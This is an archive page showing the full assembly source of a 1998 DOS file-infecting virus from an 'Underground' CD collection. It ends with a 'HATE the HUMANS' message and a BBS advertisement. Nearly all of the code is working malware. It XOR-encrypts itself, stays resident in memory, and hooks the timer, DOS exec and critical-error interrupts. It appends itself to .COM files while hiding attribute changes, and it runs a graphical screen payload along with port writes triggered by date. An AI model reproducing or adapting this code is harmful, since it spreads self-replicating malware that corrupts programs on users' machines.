Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / h / hh&h.asm < prev next >

Wrap

Assembly Source File | 1998-01-14 | 32.0 KB | 902 lines

CODE segment para public 'code' assume cs:code,ds:code,es:nothing,ss:nothing org 100h egy equ 1 ; one dma equ 0b0h atvar equ 300 ; at paramaeter xtvar equ 1 ; xt parameter suruseg equ 255 ; density idotartalek equ 18*30 ; time delay start: db 0e9h,0,0 ;##################### Initialization ###################### resid: push ax mov cx,offset memory - offset begin ;#### decoding #### mov bx,ds:[101h] add bx,103h+(offset begin-offset resid) jhg1: xor byte ptr [bx],0 inc bx loop jhg1 begin: sub bx,(offset begin-offset resid)+(offset memory - offset begin) mov cs:[0feh],bx mov ax,[bx+(offset eltarol-offset resid)] mov cl,[bx+(offset eltarol-offset resid)+2] mov ds:[100h],ax mov ds:[102h],cl mov cx,0b800h mov ah,15 push bx int 10h pop bx cmp al,7 jne rety mov ch,0b0h rety: mov [bx+(offset ruut - offset resid)+1],cx mov word ptr [bx+(offset counter-offset resid)],idotartalek mov byte ptr [bx+(offset jammed-offset resid)+1],al mov byte ptr [bx+(offset vanesik-offset resid)],0 xor ax,ax mov ds,ax cmp word ptr ds:[130h],4142h je zipp mov ds:[130h],4142h mov ax,cs dec ax mov ds,ax mov ax,ds:[3] sub ax,180h mov ds:[3],ax add ax,ds:[1] mov es,ax push cs pop ds sub word ptr ds:[2],384 mov di,3 mov si,bx mov cx,(offset memory-offset resid) shr 1 +1 cld rep movsw mov ax,es sub ax,10h mov ds,ax mov dx,offset irq mov ax,251ch int 21h mov ah,2ah int 21h cmp al,1 jne zipp dec al out 0a0h,al mov al,dma out 41h,al zipp: mov ax,cs mov ds,ax mov es,ax pop ax push cs mov cx,100h push cx mov cx,ds:[0feh] sub cx,100h retf eltarol dw 20cdh eltarol2 db 90h ;######################### Vyrus activated ########################## csik: mov ax,0e000h mov ds,ax csiky: mov ds:[0],al inc al jmp csiky ;######################### propagation part ########################## eredeti: db 0eah ; original int211 dw 0 int212 dw 0 counter dw 0 szaporodas: cmp ah,4bh jne eredeti or al,al jnz eredeti push ax push es push bx push ds push dx mov bx,dx koj: inc bx cmp byte ptr [bx],'.' jne koj cmp byte ptr[bx+1],'C' jne kiugras1 mov cs:kds,ds mov cs:kdx,dx mov cs:kbx,bx call probe kiugras1: pop dx pop ds pop bx pop es pop ax jmp eredeti kds dw 0 kdx dw 0 kbx dw 0 kkk dw 0 fszam dw 0 probe: push cs pop es mov di,offset memory mov si,dx mov cx,40 cld rep movsw mov bx,0ff0h mov ah,48h int 21h jnc juk1 ret ;!!!!! memoria lefoglalva (kkk = Seg) atr dw 0 juk1: mov cs:kkk,ax mov dx,offset memory push ds pop es mov bx,cs:kbx mov byte ptr [bx+1],'A' ;£ call elorutin push cs pop ds ;DS:DX a masolt nev. mov ax,4300h int 21h mov atr,cx xor cx,cx mov ax,4301h int 21h ;!!!!! Attr allitas cmp cs:attrflag,0 jz juk2 mov ds,cs:kds jmp memoff juk2: mov di,kdx ;ES:DI a regi nev atirva mov ah,56h int 21h call utorutin ;!!!!! Atnevezve mov dx,cs:kdx push es pop ds mov ax,3d02h int 21h ;!!!!! File megnyitva mov cs:fszam,ax mov ds,cs:kkk xor dx,dx mov bx,ax mov cx,0fc00h-(offset memory-offset resid) mov ah,3fh int 21h cmp ax,0fc00h-(offset memory-offset resid) ;!!!!! Beolvasva a program (csak a hossza miatt) je hosszu ;zarjuk le a file-t cmp ax,7580 jb hosszu ;tul rovid a file mov di,ax mov bx,ds:[1] cmp word ptr [bx+3],0b950h ;$$$$$$$$$$$$$$$$$$$$$$$$$ FUCK OFF TASM,MASM $$$$$$$$$$$$$$$$$$$$$$$$$$$ je hosszu push di mov cx,(offset memory-offset resid) mov si,offset resid push ds pop es push cs pop ds inc byte ptr ds:[offset jhg1 +2] mov ax,es:[0] mov eltarol,ax mov al,es:[2] mov eltarol2,al rep movsw ;!!!!! Atmasolva (hehe) mov al,byte ptr ds:[offset jhg1 +2] pop di add di,(offset begin-offset resid) mov cx,offset memory - offset begin ;#### coding #### jhga: xor byte ptr es:[di],al inc di loop jhga sub di,(offset memory - offset resid) push di ;Az ugrasi hely mov bx,fszam mov cx,offset memory - offset begin mov dx,di push es pop ds mov ah,40h int 21h pop di cmp ax,offset memory - offset begin je ghj1 hosszu: jmp zardle ghj1: ;!!!!! Kiirva a vege mov byte ptr ds:[0],0e9h sub di,3 mov ds:[1],di mov bx,cs:fszam xor cx,cx xor dx,dx mov ax,4200h push bx int 21h pop bx mov cx,3 xor dx,dx mov ah,40h int 21h zardle: mov bx,cs:fszam mov ah,3eh int 21h ;!!!!! File lezarva push cs pop es mov di,offset memory mov ds,cs:kds mov dx,cs:kdx mov ah,56h int 21h ;!!!!! File visszanevezve mov bx,cs:kbx mov byte ptr ds:[bx+1],'C' mov ax,4301h mov cx,cs:atr int 21h ;!!!!! attr visszaall memoff: mov bx,cs:kbx mov byte ptr ds:[bx+1],'C' push cs pop ds mov es,cs:kkk mov ah,49h int 21h ;!!!!! Memoria visszaalt ret it241 dw 0 it242 dw 0 attrflag db 0 elorutin: mov cs:attrflag,0 xor ax,ax mov ds,ax mov ax,ds:[90h] mov cs:it241,ax mov ax,ds:[92h] mov cs:it242,ax mov ds:[90h],offset it24 mov ds:[92h],cs ret utorutin: xor ax,ax mov ds,ax mov ax,cs:it241 mov ds:[90h],ax mov ax,cs:it242 mov ds:[92h],ax ret it24: mov cs:attrflag,1 xor al,al iret vanesik db 0 irq: cli push ds push es push ax push bx push cx push dx push si push di cmp cs:counter,0 je sabad dec cs:counter jne sabad xor ax,ax mov ds,ax mov ax,ds:[84h] mov cs:int211,ax mov ax,ds:[86h] mov cs:int212,ax mov ds:[84h],offset szaporodas mov ds:[86h],cs sabad: cmp cs:vanesik,0 je keress call idovan jmp jumper keress: call ruut jumper: pop di pop si pop dx pop cx pop bx pop ax pop es pop ds iret idovan: xor ah,ah int 1ah and dx,suruseg jne rutyi call action rutyi: ret ruut: mov ax,0b800h mov es,ax mov di,cs:did mov cx,512 cld poke: jcxz huy mov al,'E' repnz scasb jz talalt huy: cmp di,4095 jb kisebb mov cs:did,0 ret kisebb: add cs:did,512 ret did dw 0 talalt: test di,1 jz poke mov dl,es:[di+1] mov dh,es:[di+3] or dx,2020h cmp dx,6973h ;'is' jne poke mov bl,es:[di+5] or bl,20h cmp bl,'k' jne poke mov cs:vanesik,1 jmp huy action: mov ax,cs mov ds,ax mov es,ax mov vanesik,0 mov pontszam,1 mov si,offset zizi mov di,offset novi cld mov cx,6 rep movsw call zoldseg jammed: mov ax,3 int 10h cmp counterr,atvar jne fdr push cs pop es lea bx,mess mov ax,1301h mov bx,1 xor dx,dx mov cx,offset drt-offset mess int 10h fdr: ret counterr dw 0 zoldseg: cli mov di,offset memory xor ax,ax cld mov cx,200*3 rep stosw mov ah,0c0h mov si,3333h int 15h cmp si,3333h mov ax,xtvar je xt mov ax,atvar xt: mov counterr,ax mov ax,3502h int 21h cmp bx,0e9eh jne ibm call init1 mov pontm,100 mov port,22h jmp entry ibm: ;Ibm bulik mov pontm,200 mov al,70h mov port,60h ;% mov ah,15 int 10h cmp al,7 jne cga call init3 jmp entry cga: call init2 jmp entry port dw 22h pontm dw 100 init1: mov ax,200h mov es,ax xor di,di mov cx,4000h cld xor ax,ax rep stosw mov plotdw,offset plot mov unplotdw,offset unplot ret init2: mov ax,0b800h mov es,ax mov ax,6 int 10h mov plotdw,offset plotcga mov unplotdw,offset unplotcga ret init3: mov ax,0b000h mov es,ax call prog mov plotdw,offset plotherc mov unplotdw,offset unplotcga ret prog: mov dx,3bfh mov al,3 out dx,al mov al,28h mov dx,3b8h out dx,al mov ah,0 mov cx,12 lea bx,ports lopi1: mov dx,03b4h mov al,ah out dx,al inc ah mov dx,03b5h mov al,[bx] out dx,al inc bx loop lopi1 mov dx,3bfh mov al,3 out dx,al mov dx,3b8h mov al,0ah out dx,al xor di,di mov cx,4000h xor ax,ax cld rep stosw ret ports db 35h,2dh,2eh,7,5bh,2,57h,57h,2,3,0,0 ;**************************** Forgatorutin ************************************ even sina dw 0 cosa dw 0 ;si-t meghagyja sinb dw 0 cosb dw 0 pontszam dw 1 transzform: ;be: di=X, bx=Y, cx=Z, SINA,COSA,SINB,COSB ; add bx,ytol ;ez itt jolesz shl di,1 shl bx,1 ;X es Y elokeszitese a szorzashoz mov ax,di imul cosa mov bp,dx mov ax,bx imul sina add bp,dx ; bp=X' = cosa*X + sina*Y mov ax,bx imul cosa mov bx,dx mov ax,di imul sina sub bx,dx ; bx=Y' = cosa*X - sina*Y shl bp,1 shl cx,1 ;X' es Z elokeszitese mov ax,bp imul cosb mov di,dx mov ax,cx imul sinb sub di,dx ; di=X'' = cosb*X' - sinb*Z mov cx,di mov ax,bx ret comment @ mov ax,cx imul cosb mov cx,dx mov ax,bp imul sinb add cx,dx ; cx=Z'' = cosb*Z = sinb*X' ; out: di=X'' bx=Y'' cx=Z'' mov dx,keptav ;****************************** PERSPEKTIVA ********************************** mov ax,di shl ax,1 imul tavol mov cx,dx mov ax,bx shl ax,1 imul tavol mov ax,dx ret ; ki : CX=X' AX=Y' @ plotherc: ; al=y cx=x xor ah,ah mov dx,ax shr dx,1 add ax,dx mov dx,cx mov cl,al and cl,3 shr ax,1 shr al,1 mov di,2000h shl di,cl mov cl,90 mul cl add di,ax mov ax,dx mov cx,dx jmp ezisi plotcga: xor di,di shr ax,1 jnc tryp mov di,2000h tryp: mov dl,80 mul dl add di,ax mov ax,cx ezisi: shr ax,1 shr ax,1 shr ax,1 add di,ax and cl,7 mov al,128 shr al,cl or es:[di],al jmp ezis1 unplotcga: mov al,[bx] mov di,[bx+1] xor al,255 and es:[di],al ret plot: ;AL = y koord. cx = x koord. mov dl,160 mul dl mov di,ax mov ax,cx shr ax,1 shr ax,1 add di,ax and di,-2 and cl,7 mov al,128 shr al,cl or es:[di+egy],al ezis1: mov [bx],al inc bx mov [bx],di add bx,2 ret unplot: mov al,[bx] mov di,[bx+1] xor al,255 and es:[di+egy],al ret kezdfazisrajz: mov bx,offset memory mov si,offset gombdata mov cx,pontszam ck1: push cx lodsw mov cx,ax shl cx,1 add cx,320 lodsw add si,2 add ax,50 call word ptr [plotdw] pop cx loop ck1 ret indy db 0 fazisrajz: mov bx,offset memory mov si,offset gombdata mov cx,pontszam mov indy,1 ck12: push cx call word ptr [unplotdw] push bx lodsw mov di,ax lodsw mov bx,ax lodsw mov cx,ax call transzform pop bx add ax,50 mov di,bxpo add al,[di] shl cx,1 add cx,bxpo2 cmp indy,0 je ruty mov indy,0 cmp karal2,0 jne ruty push cx push ax inc cx call word ptr [plotdw] pop ax pop cx sub bx,3 ruty: call word ptr [plotdw] pop cx loop ck12 ret novpont: mov ax,pontm cmp pontszam,ax je trew mov cx,pontm sub cx,pontszam mov ch,cl shR cx,1 shr cx,1 yut: loop yut inc pontszam ret trew: call movie mov bx,bxpo cmp bx,offset patt je valto cmp bx,offset patt+29 je valto iuy: add bx,novi mov bxpo,bx ret valto: neg novi jmp iuy novi dw -1 bxpo dw offset patt bxpo2 dw 320 novi2 dw 4 karal dw 300 karal2 dw 600 zizi dw -1,offset patt,320,4,300,600 movie: cmp karal,0 je jesty dec karal ret jesty: cmp karal2,0 je jesty2 dec karal2 jesty2: mov bx,bxpo2 cmp bx,100 je valto2 cmp bx,540 je valto2 iuy2: add bx,novi2 mov bxpo2,bx ret valto2: neg novi2 jmp iuy2 elokesz: call novpont mov bl,szogx xor bh,bh shl bx,1 mov ax,sintabl[bx] mov sina,ax mov ax,costabl[bx] mov cosa,ax mov bl,szogy xor bh,bh shl bx,1 mov ax,sintabl[bx] mov sinb,ax mov ax,costabl[bx] mov cosb,ax mov al,szogxvalt add szogx,al mov al,szogyvalt add szogy,al ret even szogx db 0 szogy db 0 szogxvalt db 2 szogyvalt db 5 tavol dw 32767 phase: call elokesz call fazisrajz ret entry: call kezdfazisrajz rajta1: call phase cmp pontm,100 je apc cmp byte ptr ds:[offset ruut +2],0b8h je ccggaa mov cx,counterr mov dx,3bah qaz1: in al,dx and al,1 jnz qaz1 qaz2: in al,dx and al,1 jz qaz2 loop qaz1 jmp apc ccggaa: mov dx,3dah qaz3: in al,dx and al,8 jnz qaz3 qaz4: in al,dx and al,8 jz qaz4 apc: mov dx,port in al,dx and al,1 jz rajta1 ret even plotdw dw 0 unplotdw dw 0 sintabl dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602, 6393 dw 7179, 7962, 8739, 9512, 10278, 11039, 11793, 12539, 13279 dw 14010, 14732, 15446, 16151, 16846, 17530, 18204, 18868, 19519 dw 20159, 20787, 21403, 22005, 22594, 23170, 23731, 24279, 24811 dw 25329, 25832, 26319, 26790, 27245, 27683, 28105, 28510, 28898 dw 29268, 29621, 29956, 30273, 30571, 30852, 31113, 31356, 31580 dw 31785, 31971, 32137, 32285, 32412, 32521, 32609, 32678, 32728 dw 32757, 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285 dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571, 30273 dw 29956, 29621, 29268, 28898, 28510, 28105, 27683, 27245, 26790 dw 26319, 25832, 25329, 24811, 24279, 23731, 23170, 22594, 22005 dw 21403, 20787, 20159, 19519, 18868, 18204, 17530, 16846, 16151 dw 15446, 14732, 14010, 13279, 12539, 11793, 11039, 10278, 9512 dw 8739, 7962, 7179, 6393, 5602, 4808, 4011, 3212, 2410 dw 1608, 804, 0, -804, -1608, -2410, -3212, -4011, -4808 dw -5602, -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793 dw -12539,-13279,-14010,-14732,-15446,-16151,-16846,-17530,-18204 dw -18868,-19519,-20159,-20787,-21403,-22005,-22594,-23170,-23731 dw -24279,-24811,-25329,-25832,-26319,-26790,-27245,-27683,-28105 dw -28510,-28898,-29268,-29621,-29956,-30273,-30571,-30852,-31113 dw -31356,-31580,-31785,-31971,-32137,-32285,-32412,-32521,-32609 dw -32678,-32728,-32757,-32767,-32757,-32728,-32678,-32609,-32521 dw -32412,-32285,-32137,-31971,-31785,-31580,-31356,-31113,-30852 dw -30571,-30273,-29956,-29621,-29268,-28898,-28510,-28105,-27683 dw -27245,-26790,-26319,-25832,-25329,-24811,-24279,-23731,-23170 dw -22594,-22005,-21403,-20787,-20159,-19519,-18868,-18204,-17530 dw -16846,-16151,-15446,-14732,-14010,-13279,-12539,-11793,-11039 dw -10278, -9512, -8739, -7962, -7179, -6393, -5602, -4808, -4011 dw -3212, -2410, -1608, -804 costabl dw 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285 dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571 dw 30273, 29956, 29621, 29268, 28898, 28510, 28105, 27683 dw 27245, 26790, 26319, 25832, 25329, 24811, 24279, 23731 dw 23170, 22594, 22005, 21403, 20787, 20159, 19519, 18868 dw 18204, 17530, 16846, 16151, 15446, 14732, 14010, 13279 dw 12539, 11793, 11039, 10278, 9512, 8739, 7962, 7179 dw 6393, 5602, 4808, 4011, 3212, 2410, 1608, 804 dw 0, -804, -1608, -2410, -3212, -4011, -4808, -5602 dw -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793 dw -12539, -13279,-14010,-14732,-15446,-16151,-16846,-17530 dw -18204, -18868,-19519,-20159,-20787,-21403,-22005,-22594 dw -23170, -23731,-24279,-24811,-25329,-25832,-26319,-26790 dw -27245, -27683,-28105,-28510,-28898,-29268,-29621,-29956 dw -30273, -30571,-30852,-31113,-31356,-31580,-31785,-31971 dw -32137, -32285,-32412,-32521,-32609,-32678,-32728,-32757 dw -32767, -32757,-32728,-32678,-32609,-32521,-32412,-32285 dw -32137, -31971,-31785,-31580,-31356,-31113,-30852,-30571 dw -30273, -29956,-29621,-29268,-28898,-28510,-28105,-27683 dw -27245, -26790,-26319,-25832,-25329,-24811,-24279,-23731 dw -23170, -22594,-22005,-21403,-20787,-20159,-19519,-18868 dw -18204, -17530,-16846,-16151,-15446,-14732,-14010,-13279 dw -12539, -11793,-11039,-10278, -9512, -8739, -7962, -7179 dw -6393, -5602, -4808, -4011, -3212, -2410, -1608, -804 dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602 dw 6393, 7179, 7962, 8739, 9512, 10278, 11039, 11793 dw 12539, 13279, 14010, 14732, 15446, 16151, 16846, 17530 dw 18204, 18868, 19519, 20159, 20787, 21403, 22005, 22594 dw 23170, 23731, 24279, 24811, 25329, 25832, 26319, 26790 dw 27245, 27683, 28105, 28510, 28898, 29268, 29621, 29956 dw 30273, 30571, 30852, 31113, 31356, 31580, 31785, 31971 dw 32137, 32285, 32412, 32521, 32609, 32678, 32728, 32757 gombdata: DW 44, 3, 22, 29, 6, 40, 7, 9, 48,-14, 12, 46 DW -33, 15, 33,-44, 18, 14,-44, 21, -7,-35, 24,-25 DW -19, 26,-37, 0, 29,-40, 17, 31,-34, 29, 34,-21 DW 33, 36, -5, 30, 38, 9, 20, 40, 20, 8, 42, 25 DW -3, 43, 23,-12, 45, 17,-16, 46, 8,-15, 47, 0 DW -11, 48, -5, -5, 49, -7, 0, 49, -6, 0, 49, -2 DW 0, 49, 0, -2, 49, 0, -6, 49, 0, -7, 49, -5 DW -5, 48,-11, 0, 47,-15, 8, 46,-16, 17, 45,-12 DW 23, 43, -3, 25, 42, 8, 20, 40, 20, 9, 38, 30 DW -5, 36, 33,-21, 34, 29,-34, 31, 17,-40, 29, 0 DW -37,26,-19,-25,24,-35,-7,21,-44,14,18,-44 DW 33,15,-33,46,12,-14,48,9,7,40,6,29 DW 22,3,44,0,0,49,-22,-3,44,-40,-6,29 DW -48,-9,7,-46,-12,-14,-33,-15,-33,-14,-18,-44 DW 7,-21,-44,25,-24,-35,37,-26,-19,40,-29,0 DW 34,-31,17,21,-34,29,5,-36,33,-9,-38,30 DW -20,-40,20,-25,-42,8,-23,-43,-3,-17,-45,-12 DW -8,-46,-16,0,-47,-15,5,-48,-11,7,-49,-5 DW 6,-49,0,2,-49,0,0,-49,0,0,-49,-2 DW 0,-49,-6,5,-49,-7,11,-48,-5,15,-47,0 DW 16,-46,8,12,-45,17,3,-43,23,-8,-42,25 DW -20,-40,20,-30,-38,9,-33,-36,-5,-29,-34,-21 DW -17,-31,-34,0,-29,-40,19,-26,-37,35,-24,-25 DW 44,-21,-7,44,-18,14,33,-15,33,14,-12,46 DW -7,-9,48,-29,-6,40,-44,-3,22,-49,0,0 DW -44,3,-22,-29,6,-40,-7,9,-48,14,12,-46 DW 33,15,-33,44,18,-14,44,21,7,35,24,25 DW 19,26,37,0,29,40,-17,31,34,-29,34,21 DW -33,36,5,-30,38,-9,-20,40,-20,-8,42,-25 DW 3,43,-23,12,45,-17,16,46,-8,15,47,0 DW 11,48,5,5,49,7,0,49,6,0,49,2 DW 0,49,0,2,49,0,6,49,0,7,49,5 DW 5,48,11,0,47,15,-8,46,16,-17,45,12 DW -23,43,3,-25,42,-8,-20,40,-20,-9,38,-30 DW 5,36,-33,21,34,-29,34,31,-17,40,29,0 DW 37,26,19,25,24,35,7,21,44,-14,18,44 DW -33,15,33,-46,12,14,-48,9,-7,-40,6,-29 DW -22,3,-44,0,0,-49,22,-3,-44,40,-6,-29 DW 48,-9,-7,46,-12,14,33,-15,33,14,-18,44 DW -7,-21,44,-25,-24,35,-37,-26,19,-40,-29,0 DW -34,-31,-17,-21,-34,-29,-5,-36,-33,9,-38,-30 DW 20,-40,-20,25,-42,-8,23,-43,3,17,-45,12 DW 8,-46,16,0,-47,15,-5,-48,11,-7,-49,5 DW -6,-49,0,-2,-49,0,0,-49,0,0,-49,2 DW 0,-49,6,-5,-49,7,-11,-48,5,-15,-47,0 DW -16,-46,-8,-12,-45,-17,-3,-43,-23,8,-42,-25 DW 20,-40,-20,30,-38,-9,33,-36,5,29,-34,21 DW 17,-31,34,0,-29,40,-19,-26,37,-35,-24,25 DW -44,-21,7,-44,-18,-14,-33,-15,-33,-14,-12,-46 DW 7,-9,-48,29,-6,-40,44,-3,-22,49,0,0 patt: DB 0, 0, 0, 0, 0, 1, 1, 2, 4, 5, 7, 9,11,14,17,20,23,27 db 31,35,40,45,50,56,61,67,73,80,86,93 mess db 'HARD HIT & HEAVY HATE the HUMANS !!' db ' [ H.H.& H.H. the H. ] ' drt dw 5 dup (0) memory: CODE ENDS END START ; ───────────────────────────────────────────────────────────────────────── ; ────────────────────> and Remember Don't Forget to Call <──────────────── ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <────────── ; ─────────────────────────────────────────────────────────────────────────